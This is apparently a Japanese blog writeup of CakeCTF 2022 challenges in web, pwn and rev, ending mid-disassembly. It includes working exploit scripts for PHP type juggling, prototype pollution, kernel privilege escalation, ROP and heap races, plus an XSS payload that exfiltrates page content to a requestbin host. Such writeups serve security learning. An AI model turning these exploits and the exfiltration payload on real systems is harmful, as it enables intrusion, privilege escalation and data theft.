Satoooonの物置

CTFなどをしていない

Cake CTF 2022 Writeup

CakeCTFに参加して15位/713チームでした。解けた問題について解説していきます。

web

CakeGEAR [welcome, 98 solves]

<?php
session_start();
$_SESSION = array();
define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e');

/* Router login API */
$req = @json_decode(file_get_contents("php://input"));
if (isset($req->username) && isset($req->password)) {
    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
        /* Debug mode is not allowed from outside the router */
        $req->username = 'nobody';
    }

    switch ($req->username) {
        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

        case 'admin':
            /* Secret password is required in admin mode */
            if (sha1($req->password) === ADMIN_PASSWORD) {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = true;
            }
            break;

        case 'guest':
            /* Guest mode (low privilege) */
            if ($req->password === 'guest') {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = false;
            }
            break;
    }

    /* Return response */
    if (isset($_SESSION['login']) && $_SESSION['login'] === true) {
        echo json_encode(array('status'=>'success'));
        exit;
    } else {
        echo json_encode(array('status'=>'error'));
        exit;
    }
}
?>

$_SESSION['admin'] == trueadmin.phpにアクセスするとフラグが貰えます。adminとしてログインするのはパスワードの検証があるので厳しそうです。godmodeが怪しく見えますね。

ここで「わかりやすい脆弱性が見当たらないし、あいまいな比較(==)がどこかで起こってそう」とエスパーします。しかし==は見当たらなかったので、これはswitch-caseで起こってるのでは?ということに気付きます。ググってみると、確かにそのようです。

注意:

switch/case が行うのは、 緩やかな比較 であることに注意しましょう。

PHP: switch - Manual

$req->username == 'godmode'となるような値を緩やかな比較の表から探すと、true == 'godmode'となることがわかります。あとはこのようなリクエストを送信して、降ってきたクッキーを使ってadmin.phpにアクセスすればフラグが貰えます。

curl -v -X POST -d '{"username": true, "password": ""}' http://web1.2022.cakectf.com:8005/

CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}

readme 2022を解いた後だったので期待してなかったけど1st bloodでした。人生初1st bloodで嬉しい。

OpenBio [50 solves]

Bioが設定できるアプリです。単純なXSSがありますがCSPがついています。

"""
Enforce CSP
"""
@app.after_request
def after_request(response):
    csp  = ""
    csp +=  "default-src 'none';"
    if 'csp_nonce' in flask.g:
        csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    else:
        csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    csp += f"style-src https://cdn.jsdelivr.net/;"
    csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
    csp += f"base-uri 'none';"
    csp += f"connect-src 'self';"
    response.headers['Content-Security-Policy'] = csp
    return response

ぱっと見cdn.jsdelivr.netの読み込みが許可されているので、そこからXSSできるScript gadgetを探せば良さそうに見えます。検索するとズバリのものが見つかります。

github.com

これでCSP Bypassができました。さっそくrequestbinにdocument.cookieを送ったけど何も来ません。よく見たらsession cookieがhttponlyでした。フラグはクローラーのBioにあるので、fetchで自身のページを読み込んでrequestbinに送信させればよいです。

Bioに以下のようなHTMLを設定します。

  <script src="https://cdn.jsdelivr.net/npm/csp-bypass@1.0.2/dist/classic.js"></script>
  <br csp='fetch("/").then(data=>data.text()).then(text=>location.href="http://XXXX.b.requestbin.net/?"+btoa(text))'>

これでrequestbinにフラグを含んだbase64が降ってきます。

CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}

3rd bloodでした。わいわい。

Panda Memo [lunatic, 9 solves]

この問題は国内の2rd blood以上にPrizeが出るので、リリースされた瞬間とりかかりました。

チームごとにインスタンスが割り当てられます。Prototype pollutionの匂いがしますね。

const fs = require('fs');
const path = require('path');
const express = require('express');
const auth = require('express-basic-auth');
const mustache = require('mustache');
const app = express();

const SECRET = process.env["SECRET"] || "ADMIN_SECRET";
const FLAG = process.env["FLAG"] || "FakeCTF{panda-sensei}";
const BASIC_USERNAME = process.env["BASIC_USERNAME"] || "guest";
const BASIC_PASSWORD = process.env["BASIC_PASSWORD"] || "guest";

app.engine('html', function (filePath, options, callback) {
    fs.readFile(filePath, function (err, content) {
        if (err) return callback(err);
        let rendered = mustache.render(content.toString(), options);
        return callback(null, rendered);
    });
});
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'html');
app.use(express.json());
app.use(auth({
    challenge: true,
    unauthorizedResponse: () => {
        return "Unauthorized";
    },
    authorizer: (username, password) => {
        return auth.safeCompare(username, BASIC_USERNAME)
            && auth.safeCompare(password, BASIC_PASSWORD);
    }
}));

const isAdmin = req => req.query.secret === SECRET;
const getAdminRole = req => {
    /* Return array of admin roles (such as admin, developer).
       More roles are to be added in the future. */
    return isAdmin(req) ? ['admin'] : [];
}
let memo = {};

app.get('/', (req, res) => res.render('index'));

/** Create new memo */
app.post('/new', (req, res) => {
    /* Create new memo */
    if (!(req.ip in memo)) memo[req.ip] = [];
    memo[req.ip].push("");

    res.json({status: 'success'});
});

/** Delete memo */
app.post('/del', (req, res) => {
    let index = req.body.index;

    /* Delete memo */
    if ((req.ip in memo) && (index in memo[req.ip])) {
        memo[req.ip].splice(index, 1);
        res.json({status: 'success', result: 'Successfully deleted'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});

/** Get memo list */
app.get('/show', (req, res) => {
    let ip = req.ip;

    /* We don't need to call isAdmin here
       because only admin can see console log. */
    if (req.body.debug == true)
        console.table(memo, req.body.inspect);

    /* Admin can read anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Return memo */
    if (ip in memo)
        res.json({status: 'success', result: memo[ip]});
    else
        res.json({status: 'error', result: 'Memo not found'});
});

/** Edit memo */
app.post('/edit', (req, res) => {
    let ip = req.ip;
    let index = req.body.index;
    let new_memo = req.body.memo;

    /* Admin can edit anyone's memo for censorship */
    if (getAdminRole(req)[0] !== undefined)
        ip = req.body.ip;

    /* Update memo */
    if (ip in memo) {
        memo[ip][index] = new_memo;
        res.json({status: 'success', result: 'Successfully updated'});
    } else {
        res.json({status: 'error', result: 'Memo not found'});
    }
});

/** Admin panel */
app.get('/admin', (req, res) => {
    console.log("OK")
    res.render('admin', {is_admin:isAdmin(req), flag:FLAG});
});

app.listen(3000, () => {
    console.log("Server is up!");
});

ぱっと見/editmemo[ip][index]でPrototype pollutionが起こせそうですが、ipgetAdminRole(req)[0] !== undefinedでないと自由に操作することができません。というわけで、getAdminRole自体に脆弱性は無さそうなので、Array.prototype[0]Object.prototype[0]を先に汚染する必要がありです。

ここでどうにかしてmemo[ip]["__proto__"]の書き替えとsplicepushなどを用いて0を汚染できないか試行錯誤して合計で8時間以上沼にはまってました。

途中/showconsole.tableが何にも寄与してなくて逆に怪しそうだな……とは考えましたが、手元のnodejsで色々試しても使えそうな挙動は無かったし、最新のnodejsのソースコードを見に行っても「あ~Prototype Pollution対策されてるか~」となってました。

時間は経ち、終了間際になって「まぁないよな~」と思いながらconsole.table prototype pollutionと検索しました。すると、こんなレポートが見つかります。

hackerone.com

あ  り  ま  し  た

古いnodeだとconsole.table(obj, ["__proto__"])Object.prototype[0]を汚染できるようで、Docker内に入って試してみたら汚染することができました。初手npm auditが定石とこの前のWriteupで言ってましたが、これからはnodeのバージョンもチェックするようにします……

これでipを操作できるようになったので、ふつうのPrototype pollutionができるようになりました。ソースコード内に使えそうな汚染先もないので、ライブラリにあるのでしょう。テンプレートエンジンであるmustacheを調べてみます。

/**
 * Parses and caches the given `template` according to the given `tags` or
 * `mustache.tags` if `tags` is omitted,  and returns the array of tokens
 * that is generated from the parse.
 */
Writer.prototype.parse = function parse (template, tags) {
  var cache = this.templateCache;
  var cacheKey = template + ':' + (tags || mustache.tags).join(':');
  var isCacheEnabled = typeof cache !== 'undefined';
  var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined;

  if (tokens == undefined) {
    tokens = parseTemplate(template, tags);
    isCacheEnabled && cache.set(cacheKey, tokens);
  }
  return tokens;
};

mustache.js/mustache.js at master · janl/mustache.js · GitHub

ここのcache.get(cacheKey)が怪しく見えました。ここのtokensが操作できれば任意のテンプレートを描画できそうです。Cacheの実装を見てみましょう。

/**
 * A Writer knows how to take a stream of tokens and render them to a
 * string, given a context. It also maintains a cache of templates to
 * avoid the need to parse the same template twice.
 */
function Writer () {
  this.templateCache = {
    _cache: {},
    set: function set (key, value) {
      this._cache[key] = value;
    },
    get: function get (key) {
      return this._cache[key];
    },
    clear: function clear () {
      this._cache = {};
    }
  };
}

これはPrototype Pollutionが使える形です。admin.htmlに対応するcacheKeyを事前に抜き取っておき、Object.prototype[cacheKey]admin.htmlが描画される前に汚染して/adminにアクセスすれば任意のテンプレートを描画できますね。フラグを描画するには、元のtokensにある#is_admin^is_adminに変更すればよいです。

生成されたインスタンスに対して、以下のようなスクリプトを実行するとフラグが降ってきます。

import requests


# url = "http://localhost:3000"
url = "http://web2.2022.cakectf.com:XXXX"

ses = requests.Session()
auth = requests.auth.HTTPBasicAuth("guest", "XXXX")

print(ses.post(url+"/new", auth=auth).text)
print(ses.get(url+"/show", auth=auth, json={"debug": True, "inspect": ["__proto__"]}).text)

cache_key = open("./views/admin.html").read() + ":{{:}}"
tokens = [["text","<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"UTF-8\">\n        <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n        <title>Admin Panel - lolpanda</title>\n    </head>\n    <body>\n        <header>\n            <h1>Admin Panel</h1>\n            <p>Please leave this page if you're not the admin.</p>\n        </header>\n        <main>\n            <article style=\"text-align: center;\">\n                <h2>FLAG</h2>\n                <p>\n",0,464],["^","is_admin",484,497,[["text","                    FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566],["^","is_admin",600,613,[["text","                    <mark>Access Denied</mark>\n",614,661]],681],["text","                </p>\n            </article>\n        </main>\n    </body>\n</html>\n",695,775]]

print(ses.post(url+"/edit", auth=auth, json={"ip": "__proto__", "index": cache_key, "memo": tokens}).text)

print(ses.get(url+"/admin", auth=auth).text)

CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}

console.tableに気付くのに溶かした8時間さえがあれば、もう少し順位を上げられていたので悲しい。

pwn

welkerme [welcome, 75 solves]

Kernel exploitですが、起動とデバッグスクリプト、参考になる記事から解法のヒントまで教えてくれたりとめちゃくちゃ親切です。NO KASLRなのでprepare_kernel_credcommit_credsのアドレスは固定です。ヒントの通り、rootで起動して/proc/kallsymsを参照すればアドレスがわかります。各種防御機構も無効なので、参考に示されている作問者のptr-yudaiさんが作成しているPawnyableという神サイトに載っているret2usrのexploitを使いましょう。アドレスとドライバの呼び出し部分を変えるだけで解けます。

pawnyable.cafe

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

/*
/ # grep commit_creds /proc/kallsyms
ffffffff81072540 T commit_creds
/ # grep prepare_kernel_cred /proc/kallsyms
ffffffff810726e0 T prepare_kernel_cred

*/

unsigned long user_cs, user_ss, user_rsp, user_rflags;


static void win() {
  char *argv[] = { "/bin/sh", NULL };
  char *envp[] = { NULL };
  puts("[+] win!");
  execve("/bin/sh", argv, envp);
}

static void save_state() {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
      :
      : "memory");
}

static void restore_state() {
  asm volatile("swapgs ;"
               "movq %0, 0x20(%%rsp)\t\n"
               "movq %1, 0x18(%%rsp)\t\n"
               "movq %2, 0x10(%%rsp)\t\n"
               "movq %3, 0x08(%%rsp)\t\n"
               "movq %4, 0x00(%%rsp)\t\n"
               "iretq"
               :
               : "r"(user_ss),
                 "r"(user_rsp),
                 "r"(user_rflags),
                 "r"(user_cs), "r"(win));
}

static void escalate_privilege() {
  char* (*pkc)(int) = (void*)(0xffffffff810726e0);
  void (*cc)(char*) = (void*)(0xffffffff81072540);
  (*cc)((*pkc)(0));
  restore_state();
}

int main(void) {
  save_state();
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

  ret = ioctl(fd, CMD_EXEC, (long)escalate_privilege);
  printf("CMD_EXEC(func) --> %d\n", ret);

  close(fd);
  return 0;
}

CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}

コピペで解けるのに、次の問題より解かれてないんですよね。kernelは慣れてないからと避けてる人が多そうなので、この難易度逆転は仕方ないと思います。(「防御機構の確認方法がわからないので、この問題が資料のケースと一致してるかわからない」という人もいそう。しかし「次の資料を参考にすれば解けます」まで言うとヒント与えすぎだし難しい)

str.vs.cstr [88 solves]

#include <array>
#include <iostream>

struct Test {
  Test() { std::fill(_c_str, _c_str + 0x20, 0); }
  char* c_str() { return _c_str; }
  std::string& str() { return _str; }

private:
  __attribute__((used))
  void call_me() {
    std::system("/bin/sh");
  }

  char _c_str[0x20];
  std::string _str;
};

int main() {
  Test test;

  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);

  std::cout << "1. set c_str" << std::endl
            << "2. get c_str" << std::endl
            << "3. set str" << std::endl
            << "4. get str" << std::endl;

  while (std::cin.good()) {
    int choice = 0;
    std::cout << "choice: ";
    std::cin >> choice;

    switch (choice) {
      case 1: // set c_str
        std::cout << "c_str: ";
        std::cin >> test.c_str();
        break;

      case 2: // get c_str
        std::cout << "c_str: " << test.c_str() << std::endl;
        break;

      case 3: // set str
        std::cout << "str: ";
        std::cin >> test.str();
        break;

      case 4: // get str
        std::cout << "str: " << test.str() << std::endl;
        break;

      default: // otherwise exit
        std::cout << "bye!" << std::endl;
        return 0;
    }
  }

  return 1;
}
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

色々試すと、std::cin >> test.c_str()にBuffer Over Flowがあることがわかります。ただしCanaryが有効なのでそのままROPはできません。

std::stringは、書き込むバッファのアドレスを保持しています。次の資料が詳しいです。

ptr-yudai.hatenablog.com

BOFを使ってバッファのアドレスを書き替えればstd::cin >> test.str()AAWができます。これでGOT Overwriteしてcall_meを呼び出せば勝ちです。

import sys
import glob
from pwn import *

context.terminal = "wterminal"

context.binary = "./chall"
chall = context.binary
libc = "./libc.so.6"
nc = "nc pwn1.2022.cakectf.com 9003"

if len(glob.glob(libc)) == 1:
    libc = ELF(libc)

def connect():
    if "debug" in sys.argv:
        return gdb.debug(context.binary.path, command)
    elif "remote" in sys.argv:
        _, domain, port = nc.split()
        return remote(domain, int(port))
    else:
        return process(context.binary.path)

def to_bytes(v):
    return str(v).encode()

def unpack(data):
    return u64(data.rstrip().ljust(8, b"\x00"))


io = connect()

io.sendlineafter(b"choice: ", b"1")
io.sendlineafter(b"c_str: ", b"A"*(0x20) + p64(0x404048))

io.sendlineafter(b"choice: ", b"3")
io.sendlineafter(b"str: ", p64(0x004016de))

io.interactive()

CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}

smal arey [42 solves]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define ARRAY_SIZE(n) (n * sizeof(long))
#define ARRAY_NEW(n) (long*)alloca(ARRAY_SIZE(n + 1))

int main() {
  long size, index, *arr;

  printf("size: ");
  if (scanf("%ld", &size) != 1 || size < 0 || size > 5)
    exit(0);

  arr = ARRAY_NEW(size);
  while (1) {
    printf("index: ");
    if (scanf("%ld", &index) != 1 || index < 0 || index >= size)
      exit(0);

    printf("value: ");
    scanf("%ld", &arr[index]);
  }
}

__attribute__((constructor))
void setup(void) {
  alarm(180);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ぱっと見脆弱性がないように見えます。sizeが無制限だとallocaを失敗させて色々できそうですが、小さい値しか許してくれません。逆に考えると、入力範囲は小さい値に限られているので適当に手動Fuzzしてれば脆弱性が見つかりそうです。

色々試していると、size: 5, index: 4で変数sizeに書き込めることがわかります。sizeを大きい値にすればOOB Writeができますね。スタックの値を書き替えてROPができそうですが、ループから抜け出してretすることができません。

ポインタarrも当然スタックに存在しているので、それを書き替えればAAWが達成できます。これでexitのGOTを書き替えてpop * n; retのようなgadgetのアドレスにすれば、exitが呼ばれた瞬間にgadgetが発火してROPができます。

あとはlibc leakしてret2vulnして再度ROPすればsystem("/bin/sh")ができます。

io = connect()

pop_rdi = 0x00000000004013e3

# write size
io.sendlineafter(b"size: ", to_bytes(5))
io.sendlineafter(b"index: ", to_bytes(4))
io.sendlineafter(b"value: ", to_bytes(0x1000))

# prepare ROP gadget
io.sendlineafter(b"index: ", to_bytes(0))
io.sendlineafter(b"value: ", to_bytes(pop_rdi))

io.sendlineafter(b"index: ", to_bytes(1))
io.sendlineafter(b"value: ", to_bytes(chall.got["printf"]))

io.sendlineafter(b"index: ", to_bytes(2))
io.sendlineafter(b"value: ", to_bytes(chall.plt["printf"]))

io.sendlineafter(b"index: ", to_bytes(3))
io.sendlineafter(b"value: ", to_bytes(0x004011bb))

# GOT Overwrite
io.sendlineafter(b"index: ", to_bytes(6))
io.sendlineafter(b"value: ", to_bytes(chall.got["setbuf"]))

io.sendlineafter(b"index: ", to_bytes(4))  # exit
io.sendlineafter(b"value: ", to_bytes(pop_rdi))

# ROP
io.sendlineafter(b"index: ", to_bytes(-1))

libc.address = unpack(io.recv(6)) - libc.sym["printf"]
log.info(f"libc: {libc.address:x}")

io.sendline(to_bytes(5))
io.sendlineafter(b"index: ", to_bytes(4))
io.sendlineafter(b"value: ", to_bytes(0x1000))

io.sendlineafter(b"index: ", to_bytes(0))
io.sendlineafter(b"value: ", to_bytes(pop_rdi))

io.sendlineafter(b"index: ", to_bytes(1))
io.sendlineafter(b"value: ", to_bytes(next(libc.search(b"/bin/sh\x00"))))

io.sendlineafter(b"index: ", to_bytes(2))
io.sendlineafter(b"value: ", to_bytes(libc.sym["system"]))

io.sendlineafter(b"index: ", to_bytes(6))
io.sendlineafter(b"value: ", to_bytes(chall.got["setbuf"]))

io.sendlineafter(b"index: ", to_bytes(4))  # exit
io.sendlineafter(b"value: ", to_bytes(pop_rdi))

io.sendlineafter(b"index: ", to_bytes(-1))

io.interactive()

CakeCTF{PRE01-C. Use parentheses within macros around parameter names}

マクロに問題があったんですね。(はえ~)

crc32pwn (unsolved) [lunatic, 8 solves]

#include <ctype.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

/**
 * Calculate CRC32 hash for data
 */
unsigned int crc32(unsigned char *data, size_t size)
{
  size_t i, j;
  unsigned int hash;

  hash = 0xFFFFFFFF;
  for (i = 0; i < size; i++) {
    hash ^= data[i];
    for (j = 0; j < CHAR_BIT; j++) {
      if (hash & 1)
        hash = (hash >> 1) ^ 0xEDB88320;
      else
        hash >>= 1;
    }
  }

  return hash ^ 0xFFFFFFFF;
}

/**
 * Calculate CRC32 hash for file
 */
void crc32sum(const char *filepath)
{
  int fd;
  char *buffer, *p;
  struct stat stbuf;

  /* Try to open file */
  if ((fd = open(filepath, O_RDONLY)) < 0) {
    perror(filepath);
    return;
  }

  /* Lock file */
  if (flock(fd, LOCK_SH)) {
    perror("flock");
    return;
  }

  /* Get file size */
  if (fstat(fd, &stbuf)) {
    perror(filepath);
    flock(fd, LOCK_UN);
    return;
  }

  /* Allocate buffer */
  if (!(buffer = malloc(stbuf.st_size))) {
    perror("Memory Error");
    flock(fd, LOCK_UN);
    return;
  }

  /* Read file */
  p = buffer;
  while (read(fd, p++, 1) == 1);

  /* Calculate hash */
  printf("%s: %08x\n", filepath, crc32(buffer, stbuf.st_size));

  /* Cleanup */
  free(buffer);
  flock(fd, LOCK_UN);
  close(fd);
}

/**
 * Entry point
 */
int main(int argc, char **argv)
{
  char *filepath;

  setreuid(geteuid(), geteuid());

  if (argc < 2) {
    printf("Usage: %s <file> ...\n", argv[0]);
    if (system("/usr/bin/which crc32 > /dev/null") == 0)
      puts("Your system has `crc32` too");
    return 1;
  }

  for (int i = 1; i < argc; i++) {
    filepath = strdup(argv[i]);
    crc32sum(filepath);
    free(filepath);
  }

  return 0;
}

シェルが与えられた状況でこのバイナリを使って権限昇格しろ、という問題でした。結局解けなかった。

Twitterでは「先にLOCK_SHを取ればsizeを確認してからreadが終わるまでの間にファイルサイズを増やすことでRace Condition (どちらかというとTOCTOU?)が起き、Heap BOFできる」と話したんですが、LOCK_SH取らなくてもRace Conditionできてウケました。

#include <ctype.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>


int main(void) {
    puts("[*] prepare victim files (0x900)");

    // 1: write top size
    int fd_1 = open("/tmp/victim1", O_WRONLY | O_CREAT | O_APPEND, 0777);
    ftruncate(fd_1, 0);

    char buf_1[0x900] = {0};
    for (int i = 0; i < 0x900; ++i) {
        buf_1[i] = 'A';
    }
    write(fd_1, buf_1, 0x900);

    long payload_1[0x2] = {
        0,
        0xdeadbeef, // top size
    };

    puts("[*] exec crc32sum");
    pid_t pid = fork();
    if (pid == 0) {
        char* argv[10] = {"./crc32sum", "/tmp/victim1", NULL};
        char* envp[1] = {NULL};
        execve("./crc32sum", argv, envp);
        return 0;
    }


    puts("[*] race!");

    for (int i = 0; i < 0x100; ++i) {
        usleep(10);
        write(fd_1, payload_1, sizeof(long)*0x2);
    }


    puts("[*] finish exploit");
    return 0;
}
❯ ./exploit
[*] prepare victim files (0x900)
[*] exec crc32sum
[*] race!
malloc(): corrupted top size
[*] finish exploit

これでRace起きるって、LOCK_SHは何を保証しているんだ……(やる気があれば後で調べます)

追記 (22:40)

flockが用いるのはAdovisory lockであり、これはプロセス間で協調してRace Conditionを起こさないようにするためのロックで、非協力的なプロセスがアクセスできないようにする強制力はないらしいです。

反対に、強制力のあるロックはMandatory lockと言われ、POSIXではサポートしていませんが色々すればできるらしいです。

Advisory lockの説明:

ja.wikipedia.org

UnixにおけるFile lockの説明:

en.wikipedia.org

rev

nimrev [246 solves]

フラグチェッカが渡されます。ざっとradare2で見ると、sym.NimMainModuleがmainっぽいのでそれを見てみます。

0x0000afc6      e87bfcffff     call sym.eqStrings

ここが怪しそうですね。フラグと入力をそのまま比較していたらgdbでメモリを覗くことでフラグが見えてしまいます。やってみましょう。

pwndbg> b eqStrings
Breakpoint 1 at 0xac4a
pwndbg> r
...
pwndbg> tel $rsi
00:0000│ rdx rsi 0x7ffff7d500d0 ◂— 0x18
01:0008│         0x7ffff7d500d8 ◂— 0x1c
02:0010│         0x7ffff7d500e0 ◂— 'CakeCTF{s0m3t1m3s_n0t_C}'
03:0018│         0x7ffff7d500e8 ◂— 's0m3t1m3s_n0t_C}'
04:0020│         0x7ffff7d500f0 ◂— 's_n0t_C}'
05:0028│         0x7ffff7d500f8 ◂— 0x0
... ↓            2 skipped

探すと、予想通りフラグがありました。

CakeCTF{s0m3t1m3s_n0t_C}

luau [64 solves]

luaのrevです。デコンパイルluadecが良いらしいので使ってみると、セグフォが起こります。しょうがないので、-disオプションを使ってディスアセンブルした結果を見ていきます。

; Disassembled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
; Command line: -dis ./libflag.lua

; Function:        0
; Defined at line: 0
; #Upvalues:       1
; #Parameters:     0
; Is_vararg:       2
; Max Stack Size:  2

    0 [-]: CLOSURE   R0 0         ; R0 := closure(Function #0_0)
    1 [-]: NEWTABLE  R1 0 1       ; R1 := {} (size = 0,1)
    2 [-]: SETTABLE  R1 K0 R0     ; R1["checkFlag"] := R0
    3 [-]: RETURN    R1 2         ; return R1
    4 [-]: RETURN    R0 1         ; return


; Function:        0_0
; Defined at line: 1
; #Upvalues:       1
; #Parameters:     2
; Is_vararg:       0
; Max Stack Size:  41

    0 [-]: NEWTABLE  R2 26 0      ; R2 := {} (size = 26,0)
    1 [-]: LOADK     R3 K0        ; R3 := 62
    2 [-]: LOADK     R4 K1        ; R4 := 85
    3 [-]: LOADK     R5 K2        ; R5 := 25
    4 [-]: LOADK     R6 K3        ; R6 := 84
    5 [-]: LOADK     R7 K4        ; R7 := 47
    6 [-]: LOADK     R8 K5        ; R8 := 56
    7 [-]: LOADK     R9 K6        ; R9 := 118
    8 [-]: LOADK     R10 K7       ; R10 := 71
    9 [-]: LOADK     R11 K8       ; R11 := 109
   10 [-]: LOADK     R12 K9       ; R12 := 0
   11 [-]: LOADK     R13 K10      ; R13 := 90
   12 [-]: LOADK     R14 K7       ; R14 := 71
   13 [-]: LOADK     R15 K11      ; R15 := 115
   14 [-]: LOADK     R16 K12      ; R16 := 9
   15 [-]: LOADK     R17 K13      ; R17 := 30
   16 [-]: LOADK     R18 K14      ; R18 := 58
   17 [-]: LOADK     R19 K15      ; R19 := 32
   18 [-]: LOADK     R20 K16      ; R20 := 101
   19 [-]: LOADK     R21 K17      ; R21 := 40
   20 [-]: LOADK     R22 K18      ; R22 := 20
   21 [-]: LOADK     R23 K19      ; R23 := 66
   22 [-]: LOADK     R24 K20      ; R24 := 111
   23 [-]: LOADK     R25 K21      ; R25 := 3
   24 [-]: LOADK     R26 K22      ; R26 := 92
   25 [-]: LOADK     R27 K23      ; R27 := 119
   26 [-]: LOADK     R28 K24      ; R28 := 22
   27 [-]: LOADK     R29 K10      ; R29 := 90
   28 [-]: LOADK     R30 K25      ; R30 := 11
   29 [-]: LOADK     R31 K23      ; R31 := 119
   30 [-]: LOADK     R32 K26      ; R32 := 35
   31 [-]: LOADK     R33 K27      ; R33 := 61
   32 [-]: LOADK     R34 K28      ; R34 := 102
   33 [-]: LOADK     R35 K28      ; R35 := 102
   34 [-]: LOADK     R36 K11      ; R36 := 115
   35 [-]: LOADK     R37 K29      ; R37 := 87
   36 [-]: LOADK     R38 K30      ; R38 := 89
   37 [-]: LOADK     R39 K31      ; R39 := 34
   38 [-]: LOADK     R40 K31      ; R40 := 34
   39 [-]: SETLIST   R2 38 1      ; R2[0] to R2[37] := R3 to R40 ; R(a)[(c-1)*FPF+i] := R(a+i), 1 <= i <= b, a=2, b=38, c=1, 0
   40 [-]: LEN       R3 R0        ; R3 := #R0
   41 [-]: LEN       R4 R2        ; R4 := #R2
   42 [-]: EQ        1 R3 R4      ; if R3 ~= R4 then goto 44 else goto 46
   43 [-]: JMP       R0 2         ; PC += 2 (goto 46)
   44 [-]: LOADBOOL  R3 0 0       ; R3 := false
   45 [-]: RETURN    R3 2         ; return R3
   46 [-]: NEWTABLE  R3 0 0       ; R3 := {} (size = 0,0)
   47 [-]: NEWTABLE  R4 0 0       ; R4 := {} (size = 0,0)
   48 [-]: LOADK     R5 K32       ; R5 := 1
   49 [-]: LEN       R6 R0        ; R6 := #R0
   50 [-]: LOADK     R7 K32       ; R7 := 1
   51 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 60)
   52 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
   53 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
   54 [-]: SELF      R10 R0 K35   ; R11 := R0; R10 := R0["sub"]
   55 [-]: MOVE      R12 R8       ; R12 := R8
   56 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
   57 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
   58 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
   59 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
   60 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 52 end
   61 [-]: LOADK     R5 K32       ; R5 := 1
   62 [-]: LEN       R6 R1        ; R6 := #R1
   63 [-]: LOADK     R7 K32       ; R7 := 1
   64 [-]: FORPREP   R5 8         ; R5 -= R7; pc += 8 (goto 73)
   65 [-]: GETTABUP  R9 U0 K33    ; R9 := U0["string"]
   66 [-]: GETTABLE  R9 R9 K34    ; R9 := R9["byte"]
   67 [-]: SELF      R10 R1 K35   ; R11 := R1; R10 := R1["sub"]
   68 [-]: MOVE      R12 R8       ; R12 := R8
   69 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
   70 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
   71 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
   72 [-]: SETTABLE  R4 R8 R9     ; R4[R8] := R9
   73 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 65 end
   74 [-]: LOADK     R5 K32       ; R5 := 1
   75 [-]: LEN       R6 R3        ; R6 := #R3
   76 [-]: LOADK     R7 K32       ; R7 := 1
   77 [-]: FORPREP   R5 9         ; R5 -= R7; pc += 9 (goto 87)
   78 [-]: ADD       R9 R8 K32    ; R9 := R8 + 1
   79 [-]: LEN       R10 R3       ; R10 := #R3
   80 [-]: LOADK     R11 K32      ; R11 := 1
   81 [-]: FORPREP   R9 4         ; R9 -= R11; pc += 4 (goto 86)
   82 [-]: GETTABLE  R13 R3 R8    ; R13 := R3[R8]
